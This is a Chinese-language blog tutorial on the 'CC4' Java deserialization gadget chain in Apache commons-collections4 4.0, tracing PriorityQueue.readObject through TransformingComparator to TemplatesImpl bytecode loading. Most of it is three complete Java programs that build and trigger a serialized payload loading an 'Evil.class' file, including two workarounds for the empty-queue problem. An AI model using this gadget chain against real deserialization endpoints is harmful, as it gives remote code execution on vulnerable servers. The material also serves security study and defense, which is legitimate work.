Java反序列化CommonsCollections篇CC4
新增依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
原理
后半段和CC3一样,利用transformer代码执行。我们需要找到新的调用transform函数的方法。
Question
但为什么只能在commons-collections4中执行成功,在3中不行?等下就明白了
寻找过程
CC4链主要利用的是TransformingComparator类里的compare方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
继续找谁的readObject中调用了compare,或者readObject中调用了函数a,函数a又调用了compare...
这里链子的发现者找到了PriorityQueue的readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
其中调用了heapify,跟进
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
调用了siftDown,继续跟进
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
看到了comparator,感觉有戏
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
终于在siftDownUsingComparator中调用了compare,到此链子就找到了,如下图

Answer
这里来解答前面的疑问,为什么这条链在CC3中不能用?
来看下TransformingComparator类在commons-collections3中对应的源码,路径如下图

public class TransformingComparator implements Comparator {
由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。
构造
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javafx.scene.layout.Priority;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}
但是没有触发,进入调试
发现这里的size为0,没进入循环

这里有两个方法:
方法一
反射修改size,让size等于2。
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javafx.scene.layout.Priority;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Class p = PriorityQueue.class;
Field size = p.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}
方法二
我们也可以通过该类自带的add方法给size传值
public boolean add(E e) {
return offer(e);
}
跟进offer
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1; //给size传值
if (i == 0)
queue[0] = e;
else
siftUp(i, e); //siftUP方法
return true;
}
跟进siftup
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
这里跟URLDNS链差不多,如果我们直接调用add方法,这里就会走完整条链子,但是并不会反序列化,所以我们需要先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer。
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javafx.scene.layout.Priority;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// Class p = PriorityQueue.class;
// Field size = p.getDeclaredField("size");
// size.setAccessible(true);
// size.set(priorityQueue,2);
priorityQueue.add(1);
priorityQueue.add(2);
Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}

浙公网安备 33010602011771号